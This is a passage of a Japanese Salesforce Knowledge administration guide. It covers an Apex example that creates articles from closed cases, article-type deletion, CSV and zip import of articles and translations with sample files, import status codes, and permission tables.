Apexの構文と使用方法についての詳細は、『Force.comApexコード開発者ガイド』
を参照してください。
この例では、次の記事タイプ、項目、データカテゴリを作成して設定します。
新しいオブジェクトそれぞれに割り当てられたデフォルトの [API 参照名] を
変更しないでください。
1. 「FAQ」という記事タイプを作成します。
2. [詳細] というテキストカスタム項目を作成します。
3. 「場所」というカテゴリグループを作成して、「USA」というカテゴリを割

り当てます。
4. 「トピック」というカテゴリグループを作成して、「メンテナンス」という

カテゴリを割り当てます。
この時点で、Apex クラスを作成して割り当てます。

5. [設定] から、[クイック検索] ボックスに「Apex クラス」と入力し、[Apex ク
ラス] を選択して、[新規] をクリックします。

6. このクラスで使用する Apex および API のバージョンを指定するには、[バー
ジョン設定] をクリックします。
組織が AppExchange から管理パッケージをインストールしている場合は、こ
のクラスで使用する各管理パッケージのバージョンも指定できます。すべて
のバージョンでデフォルト値を使用します。デフォルト値では、Apexおよび
API についても、各管理パッケージについても、クラスを最新バージョンに
関連付けます。最新バージョンのパッケージのものとは異なるコンポーネン
トや機能にアクセスする場合は、管理パッケージの古いバージョンを指定することもできます。特定の動
作を維持するために、Apex および API の古いバージョンを指定できます。

7. [Apex クラス] テキストボックスに次のスクリプトを入力して、[保存] をクリックします。
public class AgentContributionArticleController {

// The constructor must take a ApexPages.KnowledgeArticleVersionStandardController
as an argument

public
AgentContributionArticleController(ApexPages.KnowledgeArticleVersionStandardController
ctl) {

SObject article = ctl.getRecord(); //this is the SObject for the new article.

//It can optionally be cast to the proper
article type, e.g. FAQ__kav article = (FAQ__kav) ctl.getRecord();

String sourceId = ctl.getSourceId(); //this returns the id of the case that was
closed.

3391

Salesforce ナレッジの追加カスタマーサポートツールの設定および管理

https://developer.salesforce.com/docs/atlas.ja-jp.206.0.apexcode.meta/apexcode/


Case c = [select subject, description from Case where id=:sourceId];

article.put('title', 'From Case: '+c.subject); //this overrides the default
behavior of pre-filling the title of the article with the subject of the closed case.

article.put('Details__c',c.description);

ctl.selectDataCategory('Geography','USA'); //Only one category per category
group can be specified.

ctl.selectDataCategory('Topics','Maintenance');
}

8. [設定] から、[クイック検索]ボックスに「ナレッジの設定」と入力し、[ナレッジの設定]を選択して、[編集]

をクリックします。
9. ケース設定を確認します。この例では、[デフォルトの記事タイプ] は FAQ です。
10. [Apex カスタマイズを使用] メニューから [AgentContributionArticleController] を選択して、[保存] をクリック

します。
この例の結果、エージェントがケースクローズ画面から記事を作成する場合は、次のようになります。
• ケースの [説明] 項目のデータは、記事の [詳細] 項目に表示されます。
• 記事のタイトルには、作成元ケース: およびケース件名が含まれます。
• 記事は、USA データカテゴリと メンテナンス データカテゴリに自動的に割り当てられます。

関連トピック:

知識ベースの構築
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事タイプの削除

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事タイプを削除する
• 「アプリケーションの

カスタマイズ」

記事タイプを削除したときにエラーが発生し、データが失われることがありま
す。記事タイプを削除する前に、このトピック全体をよく読んでください。
1. [設定] から、[クイック検索] ボックスに「ナレッジ記事タイプ」と入力し、

[ナレッジ記事タイプ] を選択します。
2. 記事タイプの横にある [削除] をクリックします。
3. 記事タイプを削除することを確認します。
記事タイプの削除に関する注意事項

• 組織に記事タイプのみがある場合、その記事タイプは削除できません。
各Salesforce ナレッジ組織には、リリース済みの記事タイプが 1 つ以上必要
です。記事タイプを作成してから古い記事タイプを削除します。

• 削除した記事タイプに記事 (ドラフト記事、公開記事、アーカイブ済み記
事を含む) が関連付けられていた場合は、その記事もすべてのチャネルか
ら自動的に削除されます。

• Salesforceでは、削除された記事タイプは、他の削除されたレコードと共に
ごみ箱に表示されません。代わりに、削除された記事タイプは、記事リ
ストビューページの [削除済み記事タイプ] リストに 15 日間表示されます。
この期間は記事タイプとその記事を復元できます。また、記事タイプと
その記事を完全に消去することもできます。15 日を過ぎると、記事タイ
プとその記事が完全に消去されます。

• 閲覧者が削除された記事の URL へのブックマークをクリックすると、[ア
クセス権がありません] というメッセージが表示されます。

関連トピック:

ナレッジ記事タイプ
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジへの既存の情報のインポート

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

既存の記事または情報データベースをSalesforce ナレッジにインポートできます。
これは、Salesforce ナレッジ外に現在ある記事および翻訳のインポート機能です。

メモ: ローカライズベンダに送信した記事のインポート手順についての詳
細は、「翻訳記事のインポート」 (ページ 3431)を参照してください。

1. Salesforce ナレッジにインポートするための記事の準備
各インポートファイルには、同じタイプの記事と、記事の項目に対応する列
が含まれている必要があります。

2. 記事のインポート用の .csv ファイルの作成
各 .csv ファイルを使用して、記事を 1 つの記事タイプにインポートし、イン
ポートした記事の内容を記事タイプの項目に対応付けます。たとえば、.csv

ファイルを使用して、記事のタイトルを、記事タイプ内の標準項目 [タイト
ル]に対応付けることができます。これは、各記事のタイトルが [タイトル]

項目にインポートされることを意味します。
3. 記事のインポートパラメータの設定

キー名および対応する値を使用して、プロパティファイル内のインポートパ
ラメータを指定します。たとえば、キー DateFormat を使用して日付カス
タムフィールドを DateFormat=dd/MM/YYYYの形式で表示するように指定したり、インポートで使用する
文字コードを指定したりします。

4. インポートする記事の .zip ファイルの作成
記事のインポートを完了するには、.parameters ファイル、.csv ファイル、.html ファイルを含む .zip

ファイルを作成して、Salesforce ナレッジにアップロードします。
5. 記事および翻訳のインポートとエクスポート状況

[設定] の [記事のインポート] ページで記事のインポートとエクスポートの状況を確認します。

関連トピック:

Salesforce ナレッジにインポートするための記事の準備
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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Salesforce ナレッジにインポートするための記事の準備

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事をインポートする
• 「Salesforce ナレッジ

の管理」

および

「記事の管理」

および

「ナレッジ記事のイン
ポート/エクスポート
の管理」

および

記事タイプに対する
「参照」、「作成」、
「編集」、および「削
除」

各インポートファイルには、同じタイプの記事と、記事の項目に対応する列が
含まれている必要があります。

ヒント: 少量の記事を使用してインポートをテストします。
1. 情報タイプで既存の記事を分類します。

たとえば、FAQ、製品情報、またはオファー。
2. 情報の種別ごとに、その構造と内容に一致するSalesforce ナレッジ記事タイプ

が存在することを確認します。
たとえば、FAQ をインポートする場合、Salesforce ナレッジに、最大の FAQ 記
事に対応できる十分な質問項目と回答項目を持つ FAQ 記事タイプが存在する
ことを確認します。
記事に .html ファイルが含まれる場合、リッチテキストエリア項目を含む記事
タイプを使用して、HTML が、リッチテキストエリア項目でサポートされるタ
グと属性に準拠するようにします。

メモ: 記事のインポートは、サブ項目をサポートしません。項目内に項
目がある場合は、Salesforce ナレッジにインポートする前に、構造とコン
テンツを調整する必要があります。

3. 記事の項目レベルのセキュリティ設定で項目の編集を行えることを確認しま
す。

記事タイプごとに、インポートする csv ファイルを作成します。

関連トピック:

記事のインポート用の .csv ファイルの作成
Salesforce ナレッジへの既存の情報のインポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事のインポート用の .csv ファイルの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事をインポートする
• 「Salesforce ナレッジ

の管理」

および

「記事の管理」

および

「ナレッジ記事のイン
ポート/エクスポート
の管理」

および

記事タイプに対する
「参照」、「作成」、
「編集」、および「削
除」

各 .csv ファイルを使用して、記事を 1 つの記事タイプにインポートし、インポー
トした記事の内容を記事タイプの項目に対応付けます。たとえば、.csv ファイル
を使用して、記事のタイトルを、記事タイプ内の標準項目[タイトル]に対応付
けることができます。これは、各記事のタイトルが[タイトル]項目にインポー
トされることを意味します。
1. 記事タイプごとに 1 つの .csv ファイルを作成します。

• .csv ファイルと .properties ファイルをそれぞれ 1 つのみ含めることができま
す。

• .csv ファイルと .properties ファイルがルートディレクトリに配置されている
必要があります。

• 圧縮プロセスでフォルダとサブフォルダの構造を維持する必要がありま
す。

• .zip ファイル名に特殊文字は使用できません。
• .zip ファイルは 20 MB を、zip ファイル内の各非圧縮ファイルは 10 MB を超

えることはできません。
• ヘッダー行を含め .csv ファイルに 10,000 を超える行を含めることはできま

せん。したがって、最大 9,999 個の記事と翻訳を含めることができます。
• .csv ファイルの行が 400,000 文字を超えることはできません。
• .csv ファイルのセルが 32 KB を超えることはできません。
• .csv ファイルの各記事に 50 以上の翻訳を含めることはできません。

2. 1 行目には、記事タイプの項目とメタデータ (言語データカテゴリ、チャネル
など) を指定します。
各列に 1 つの項目を入力します。次の項目とメタデータを使用して内容をイ
ンポートできます。

説明項目またはデータ

記事をマスタ (1) または翻訳 (0) とし
て特定します。翻訳を含む記事をイ
ンポートする場合には必須項目です。
ただし、翻訳を含まない記事をイン
ポートする場合は、.csv ファイルに含
まれない可能性があります。翻訳は
その前にあるマスタ記事に関連付け

isMasterLanguage

られるように、マスタ記事の後に記
載する必要があります。

記事または翻訳のタイトル。すべて
のインポートで必須です。

Title
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説明項目またはデータ

記事タイプの標準項目を参照する場合は項目名を使
用し、カスタム項目を参照する場合は API 名を使用

標準項目およびカスタム項目

します。関連する記事タイプ項目が必須の場合、行
のセルを空のままにしておくと、記事がスキップさ
れる場合があります。

.html ファイルまたは画像をインポートするには、
リッチテキストエリアカスタム項目を使用します。

リッチテキストエリア項目

記事タイプのリッチテキストエリア項目を参照する
には、API 名を使用します。

.doc、.pdf、.txt などのファイル形式をインポートする
には、ファイルカスタム項目を使用します。記事タ

ファイル項目

イプのファイル項目を参照するには、API 名を使用
します。

インポートした記事を分類するには、カテゴリグ
ループを使用します。カテゴリグループを参照する

データカテゴリグループ

には、プレフィックスとして datacategorygroup.

が付けられた一意の名前を使用します。たとえば、
カテゴリグループ Products を指定するには、
datacategorygroup.Products を使用します。

インポートした記事を使用できる場所を指定するに
は、キーワード Channels を使用します。

チャネル

記事の言語を指定します。翻訳を含む記事のイン
ポートでは必須です。翻訳を含まない記事のイン

Language

ポートでは省略可能です。この列を追加しない場
合、記事は自動的に知識ベースのデフォルト言語に
属します。また、マスタ記事と一緒に翻訳をイン
ポートすることはできません。

3. 以降の行に、インポートする記事を指定します。
1 記事につき 1 行を使用し、各項目列またはメタデータ列に適切な情報を入力します。

重要: すべての項目名で大文字と小文字が区別され、.csv ファイルの表記と正確に一致する必要があり
ます。

メモ考慮事項

項目ごとに記事のデータを入力します。ただし、
リッチテキストエリア項目を除きます。リッチテキ

標準項目またはカスタム項目

ストエリア項目には、.zip ファイル内の対応する .html

ファイルへの相対パスを入力する必要があります。
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メモ考慮事項

メモ: 記事のインポートは、サブ項目をサポー
トしません。項目内に項目がある場合は、
Salesforce ナレッジにインポートする前に、構
造とコンテンツを調整する必要があります。

常に、.csv ファイルの場所を基準とする .html ファイ
ルの相対パスを入力します。テキストをそのまま入

リッチテキストエリア項目

力しないでください。指定したパスが存在しない場
合、関連する記事はインポートされません。HTML お
よび画像のインポートに関する次の情報に注意して
ください。
• .html ファイル用のフォルダ (/data など) と画像

用のフォルダ (data/images など) を別々に作成
することをお勧めします。

• 画像をインポートするには、<img> タグと src

属性を使用して、画像を .html ファイルに含めま
す。src 値には、.html ファイルから画像フォル
ダへの相対パスを指定します。

• 画像は、.png、.gif、.jpegファイルのいずれ
かである必要があります。

• 各画像ファイルは 1 MB を超えることはできませ
ん。

• .html ファイルはその項目の最大サイズを超える
ことはできません。

• 日付がプロパティファイルに指定された日付形
式に一致しない場合、関連する記事はインポー
トされません。

• .html ファイルが参照できないファイルを参照す
る場合、関連する記事はインポートされません。

• .html ファイルが存在しない画像を参照している
場合でも、関連記事はその画像を含めずにイン
ポートされます。

ファイルの場所への相対パスを入力します。指定し
たパスが存在しない場合、関連する記事はインポー

ファイル項目

トされません。ファイルのインポートについて、次
の点に注意してください。
• ファイルのフォルダを作成することをお勧めし

ます (例: /files)。
• 各画像ファイルは 5 MB を超えることはできませ

ん。

3398

Salesforce ナレッジの追加カスタマーサポートツールの設定および管理



メモ考慮事項

カテゴリの一意名を使用して記事を分類します。カ
テゴリを 2 つ以上指定する場合は、プラス記号 (+) を

カテゴリグループ

使用します。たとえば、Laptop+Desktopとなりま
す。データカテゴリグループについて、次の点に注
意してください。
• セル行を空のままにしておくと、記事はカテゴ

リなしとして設定されます。
• 親カテゴリを適用すると、そのカテゴリの子が

暗黙的に含まれるため、カテゴリとその親 (例:

Europe+France) を指定した場合、インポート処理
では、子カテゴリの France がスキップされ、親カ
テゴリの Europe が保持されます。

• 翻訳および関連付けられたデータカテゴリを持
つ記事をインポートする場合は、マスタ記事の
みがデータカテゴリを保持します。記事翻訳に
はインポート時に関連付けられているデータカ
テゴリはありません。

次のキーワードを使用して、記事のチャネルを指定
します。

チャネル

• 内部アプリケーションの場合は application。
チャネルを指定しない場合、applicationがデ
フォルトとなります。

• 公開知識ベースの場合は sites。
• カスタマーの場合は csp。
• パートナーの場合は prm。
1 つ以上のチャネルを指定するには、プラス記号 (+)

を使用します。たとえば、
application+sites+cspと指定すると、記事はす
べてのチャネルで使用可能になります。

メモ: 翻訳および関連付けられたチャネルを持
つ記事をインポートする場合は、マスタ記事
のみがチャネルを保持します。記事翻訳には
インポート時に関連付けられているチャネル
はありません。

例: 次の .csv ファイルの例では、商品案内の記事タイプがインポートされます。最初の例は、翻訳を含ま
ない記事のインポート向けです。2 番目は翻訳を含む記事のインポート向けです。.csv ファイルには、タ
イトル、概要、および説明が含まれています。記事はカテゴリグループ Products に分類され、特定のチャ
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ネルで使用可能になります。description__c 項目はリッチテキストエリアであり、.html ファイルへ
のパスのみをサポートします。summary__c フィールドはテキスト項目であり、未加工のテキストのみ
をサポートします。「最もお買い得なデスクトップコンピュータ」の記事に概要はありません。
summary__c 項目は必須ではないため、セルは空白になります。

チャネルdatacategorygroup.Productsdescription__csummary__cタイトル

application+cspConsumer_ Electronicsdata/freecam.html新しいデジタルカ
メラをお試しくだ
さい。

デジタルカメラの
無料提供

application+cspデスクトップdata/bestdeals.html最もお買い得なデ
スクトップコン
ピュータ

application+cspラップトップ + デス
クトップ

data/freeship.htmlラップトップとデ
スクトップの送料
は無料

articlesimport.csv ファイルの例:

Title,summary__c,description__c,datacategorygroup.Products,Channels

Free Digital Camera Offer, Get the new Digital

Camera.,data/freecam.html,Consumer_Electronics,application+csp

Best Desktop Computer Deals,,data/bestdeals.html,Desktop,application+csp

Free Shipping on Laptop and Desktops,,data/freeship.html,Laptop+Desktops,application+csp

言語チャネルdatacategorygroup.Productsdescription__csummary__cタイトルisMaster
言語

en_USapplication+cspConsumer_ Electronicsdata/freecam.html新しいデジタルカメラ
をお試しください。

デジタルカメラの無料
提供

1

frdata/freecam/fr.htmlObtenir le nouvel Appareil

photo digital.

Libérer l'Offre d'Appareil

photo digital

0

esdata/freecam/es.htmlConsiga la nueva Cámara

Digital.

Liberte Oferta Digital de

Cámara

0

en_USapplication+cspデスクトップdata/bestdeals.html最もお買い得なデスク
トップコンピュータ

1

frdata/bestdeals/fr.htmlMeilleures Affaires

d'ordinateurs de bureau

0

esdata/bestdeals/es.htmlMejores Tratos de

ordenadores

0

en_USapplication+cspラップトップ + デスク
トップ

data/freeship.htmlラップトップとデスク
トップの送料は無料

1
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言語チャネルdatacategorygroup.Productsdescription__csummary__cタイトルisMaster
言語

frdata/freeship/fr.htmlLibérer Affranchissement

sur Portables et Ordinateurs

0

esdata/freeship/es.htmlLiberte Franqueo en

Laptops y Ordenadores

0

articlestranslationsimport.csv ファイルの例:

isMasterLanguage,Title,summary__c,description__c,datacategorygroup.Products,Channels,Language

1,Free Digital Camera Offer,Get the new Digital

Camera,data/freecam.html,Consumer_Electronics,application+csp,en

0,Libérer l'Offre d'Appareil photo digital,Obtenir le nouvel Appareil photo

digital.,data/freecam/fr.html,,,fr

0,Liberte Oferta Digital de Cámara,Consiga la nueva Cámara

Digital.,data/freecam/es.html,,,es

1,Best Desktop Computer Deals,,data/bestdeals.html,Desktops,application+csp,en

0,Meilleures Affaires d'ordinateurs de bureau,,data/bestdeals/fr.html,,,fr

0,Mejores Tratos de ordenadores,,data/bestdeals/es.html,,,es

1,Free Shipping on Laptop and

Desktops,,data/freeship.html,Laptops+Desktops,application+csp,en

0,Libérer Affranchissement sur Portables et Ordinateurs,,data/freeship/fr.html,,,fr

0,Liberte Franqueo en Laptops y Ordenadores,,data/freeship/es.html,,,es

キー名および対応する値を使用して、プロパティファイル内のインポートパラメータを指定します。

関連トピック:

記事のインポートパラメータの設定
Salesforce ナレッジへの既存の情報のインポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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記事のインポートパラメータの設定

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事をインポートする
• 「Salesforce ナレッジ

の管理」

および

「記事の管理」

および

「ナレッジ記事のイン
ポート/エクスポート
の管理」

および

記事タイプに対する
「参照」、「作成」、
「編集」、および「削
除」

キー名および対応する値を使用して、プロパティファイル内のインポートパラ
メータを指定します。たとえば、キー DateFormat を使用して日付カスタム
フィールドを DateFormat=dd/MM/YYYYの形式で表示するように指定したり、
インポートで使用する文字コードを指定したりします。
1. 必須パラメータを指定してファイルを作成します (次表を参照)。

デフォルト値説明キー

yyyy-MM-dd.csv ファイル内で使用す
る日付形式

DateFormat

yyyy-MM-dd HH:mm:ss.csv ファイル内で使用す
る日付/時刻形式

DateTimeFormat

ISO8859_15_FDIS.csv ファイルの読み取り
に使用する文字コード

CSVEncoding

,.csv ファイルの区切り文
字

CSVSeparator

ISO8859_15_FDISHTML ファイルで使用す
るデフォルトの文字
コード (HTML meta タグ
の charset属性に指定
がない場合)。

RTAEncoding

メモ: Salesforce で
は、UTF-32 文字
コードはサポート
されません。UTF-8

の使用をお勧めし
ます。UTF-16 文字
コードを使用する
場合は、HTML ファ
イルで正しいバイ
トオーダーマーク
が指定されている
ことを確認してく
ださい。

メモ:  Java の日付形式のみを指定します。日付形式が誤解を招くおそれがないかを確認してください。
たとえば、yyyy-M-d 形式を選択すると、2011111 と入力した日付は 2011-01-11 または 2011-11-01 と解釈さ
れます。少なくとも、次のように指定してください。
• 月と日付の形式は 2 桁とする (MM、dd)
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• 年の形式は 4 桁 (yyyy)

.csv ファイルの日付が、プロパティファイルに指定された日付形式に一致しない場合、関連する記事
はインポートされません。

2. .properties を指定してファイルを保存します。

例: offerarticlesimport.properties プロパティファイルの例:

DateFormat=yyyy-MM-dd

DateTimeFormat=yyyy-MM-dd HH:mm:ss

CSVEncoding=ISO8859_15_FDIS

CSVSeparator=,

RTAEncoding=UTF-8

.zip ファイルを作成して、Salesforce ナレッジにインポートします。

関連トピック:

インポートする記事の .zip ファイルの作成
Salesforce ナレッジへの既存の情報のインポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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インポートする記事の .zip ファイルの作成

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

記事をインポートする
• 「Salesforce ナレッジ

の管理」

および

「記事の管理」

および

「ナレッジ記事のイン
ポート/エクスポート
の管理」

および

記事タイプに対する
「参照」、「作成」、
「編集」、および「削
除」

記事のインポートを完了するには、.parameters ファイル、.csv ファイ
ル、.htmlファイルを含む .zip ファイルを作成して、Salesforce ナレッジにアップ
ロードします。
1. 次を含む .zip ファイルを作成します。

• .csv ファイル。
• インポートする .html ファイルを含むフォルダ。
• .html ファイルで参照されている画像ファイルを含むフォルダ。
• .properties ファイル。

重要: インポート .zip ファイルは次の要件を満たす必要があります。
• .csv ファイルと .properties ファイルをそれぞれ 1 つのみ含めることがで

きます。
• .csv ファイルと .properties ファイルがルートディレクトリに配置され

ている必要があります。
• 圧縮プロセスでフォルダとサブフォルダの構造を維持する必要があ

ります。
• .zip ファイル名に特殊文字は使用できません。
• .zip ファイルは 20 MB を、zip ファイル内の各非圧縮ファイルは 10 MB

を超えることはできません。
• ヘッダー行を含め .csv ファイルに 10,000 を超える行を含めることはで

きません。したがって、最大 9,999 個の記事と翻訳を含めることがで
きます。

• .csv ファイルの行が 400,000 文字を超えることはできません。
• .csv ファイルのセルが 32 KB を超えることはできません。
• .csv ファイルの各記事に 50 以上の翻訳を含めることはできません。

2. [設定] から、[クイック検索] ボックスに「記事のインポート」と入力し、[記
事をインポート] を選択します。

3. インポートする記事に適した [記事タイプ] を選択します。
4. .zip ファイルを選択するには、[参照] をクリックして、[OK] をクリックしま

す。
5. インポートに翻訳を含める場合は、[翻訳を含めますか?] チェックボックス

をオンにします。

メモ: このチェックボックスが選択されると、.csv に isMasterLanguage、Title、Language の各列を含める必
要があります。このチェックボックスが選択されていない場合は、csv ファイルに isMasterLanguage 列を
含めることはできませんが、Title 列を含める必要があります。Language 列は翻訳を含まない記事のイ
ンポートでは省略可能です。

6. [今すぐインポート] をクリックします。
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インポートが完了すると、インポートの詳細情報を含むログファイルが添付されたメールを受け取ります。

[記事のインポート] ページでインポートの状況を確認します。

関連トピック:

記事および翻訳のインポートとエクスポート状況
Salesforce ナレッジへの既存の情報のインポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)

記事および翻訳のインポートとエクスポート状況

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

[設定] の [記事のインポート] ページで記事のインポートとエクスポートの状況を
確認します。
インポートおよびエクスポートの状況を確認するには、[設定] から [クイック検
索] ボックスに「記事のインポート」と入力し、[記事のインポート] を選択しま
す。Salesforce ナレッジで複数の言語を有効にしている場合、記事と翻訳のイン
ポート用と、翻訳のためのエクスポート用の 2 つのテーブルが表示されます。
インポート情報には、次の情報が含まれます。
• 実行できるアクション
• .Zip ファイル名
• ファイルを登録したユーザおよび登録した時期
• 状況
• 開始日および完了日
• 記事タイプ
エクスポート情報には、次の情報が含まれます。
• 実行できるアクション
• Zip ファイル名
• ファイルを登録したユーザおよび登録した時期
• 状況
• 開始日および完了日
状況の説明は次のとおりです。

実行できるアクション説明状況

[キャンセル]をクリックすると、イ
ンポートまたはエクスポートをキャ
ンセルできます。

インポートまたはエクスポートは、
それより前の待機中のインポート
またはエクスポートが完了すると
すぐに開始されます。

未承認

プロセスを停止する場合や、プロセ
スがすでに停止している場合は、

インポートまたはエクスポートが
処理中です。

処理中
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実行できるアクション説明状況

Salesforceサポートにお問い合わせく
ださい。メンテナンス作業を実行す
る必要がある場合、あるいはイン
ポートまたはエクスポートに 1 時間
以上かかっている場合、Salesforceで
はインポートまたはエクスポートが
停止することがあります。

インポートまたはエクスポートを再
起動する場合は、Salesforceサポート

Salesforceサポートは中止処理中か、
またはインポートまたはエクスポー
トがすでに中止されています。

中止処理中/中止

にお問い合わせください。または
[キャンセル]をクリックするとエン
トリがキャンセルされます。

インポートまたはエクスポートは再
起動できます。[削除]をクリックし

インポートまたはエクスポートは
キャンセルされました。すでに正

中止

てエントリを削除するか、[メール常にインポートまたはエクスポー
ログ] をクリックして、完了の通知トされた記事は、Salesforce で使用

できます。 メールを受信し、インポートまたは
エクスポートの詳細を確認すること
ができます。

この状況はインポートまたはエクス
ポートが成功したという意味ではあ

インポートまたはエクスポートが
完了しました。
正常にインポートされた記事は、
[記事の管理] タブの [記事] サブタ

完了

りません。[メールログ]をクリック
して、完了の通知メールに添付され
ているログファイルを表示し、インブに表示されます。正常にインポー
ポートまたはエクスポートの詳細を
確認できます。
エクスポートされた zip ファイル名
をクリックして、zip ファイルをシ

トされた翻訳は、[記事の管理] タブ
の [翻訳] サブタブに表示されま
す。

ステムに保存するか開くことができ
ます。

関連トピック:

翻訳記事のインポート
Salesforce ナレッジへの既存の情報のインポート
Salesforce ナレッジドキュメントの概要
Complete Guide to Salesforce Knowledge (Salesforce ナレッジ完全ガイド)
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ナレッジ記事へのアクセス

エディション

使用可能なエディション:
Salesforce Classic、
Lightning Experience

Salesforce Knowledge を使
用可能なエディション:
Performance Edition、
Developer Edition、および
Unlimited Edition (Service
Cloud 付属)

有料オプションで
Salesforce ナレッジを使用
可能なエディション:
Professional Edition、
Enterprise Edition、および
Unlimited Edition

ユーザ権限

ユーザを作成または編集
する
• 「内部ユーザの管理」

記事タイプと記事アク
ションを作成する
• 「アプリケーションの

カスタマイズ」

および

「Salesforce ナレッジ
の管理」

ナレッジエージェントに記事へのアクセス権を付与します。社内のどのエージェ
ントが、記事を作成、編集、アーカイブ、削除できる Salesforce ナレッジユーザ
であるかを指定します。適切なユーザ権限を割り当てたユーザプロファイルを
作成し、ユーザをそれらのプロファイルに割り当てます。
デフォルトでは、すべての内部ユーザが記事を参照できます。ただし、Knowledge

Only Userライセンスなど一部のライセンスについては、ユーザのプロファイルに
「ナレッジの参照を許可」権限が必要です。ユーザのプロファイルに「ナレッ
ジの参照を許可」権限を付与するには、コピーしたプロファイルでこの権限を
有効にして、このコピーしたプロファイルをユーザに割り当てます。

メモ: エージェントが記事の参照以外のことを行うには、ナレッジユーザ
ライセンスが必要です。
1. [設定] から、[クイック検索] ボックスに「ユーザ」と入力し、[ユーザ]

を選択します。
2. ユーザ名の横にある [編集] をクリックするか、[新規] をクリックして新

規ユーザを作成します。
3. ユーザを作成する場合、すべての必須項目に入力します。
4. [ナレッジユーザ] チェックボックスをオンにします。
5. [保存] をクリックします。

ユーザ権限は、Salesforce ナレッジのさまざまな ToDo へのアクセスを制御します。
権限セットまたはカスタムプロファイルを使用して、ユーザに必要な権限を付
与することをお勧めします。たとえば、「Article Manager」(記事マネージャ) とい
う権限セットを作成し、記事の作成、編集、公開、割り当てに必要な権限を追
加できます。
Salesforce ナレッジタスクに関連付けられた権限についての詳細は、次の表を参
照してください。

必要なユーザ権限Salesforce ナレッジタスク

「Salesforce ナレッジの管理」(この権限
は、システム管理者プロファイルにつ

記事タイプを作成する

いては、デフォルトで有効になってい
ます。)

「Salesforce ナレッジの管理」
この権限は、システム管理者プロファ
イルについては、デフォルトで有効に
なっています。

記事アクションを管理する

記事タイプに対する「参照」および
「作成」

単純なエディタを使用してケースから
新しい記事を作成する
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必要なユーザ権限Salesforce ナレッジタスク

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

標準エディタを使用してケースから記事を作成する

記事タイプに対する「参照」および「作成」

記事タイプに対する「参照」ケースから記事を検索し、記事をケースに添付する

記事タイプに対する「参照」および「作成」回答から記事を作成する

記事タイプに対する「参照」[記事] タブまたは [ナレッジ] タブで記事の検索と参照
を行う

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

[記事の管理] タブで記事を作成または編集する

記事タイプに対する「参照」、「作成」、および「編
集」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

[記事の管理] タブでドラフト記事を編集する

記事タイプに対する「参照」および「編集」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

[記事の管理] タブから記事を削除する

記事タイプに対する「参照」、「編集」、および「削
除」
および
記事を削除アクション ([記事アクションの設定] ペー
ジで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

[記事の管理] タブから記事を公開する

記事タイプに対する「参照」、「作成」、「編集」、
および「削除」
および
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必要なユーザ権限Salesforce ナレッジタスク

記事を公開アクション ([記事アクションの設定] ペー
ジで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

[記事の管理] タブの記事を割り当てる

記事タイプに対する「参照」および「編集」

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

公開記事またはアーカイブ済み記事を編集する

記事タイプに対する「参照」、「作成」、および「編
集」
および
記事を公開またはアーカイブアクション ([記事アク
ションの設定] ページで設定)

「記事の管理」(この権限は、システム管理者プロファ
イルについては、デフォルトで有効になっています。)

および

[記事の管理] タブから記事をアーカイブする

記事タイプに対する「参照」、「作成」、「編集」、
および「削除」
および
記事をアーカイブアクション ([記事アクションの設定]

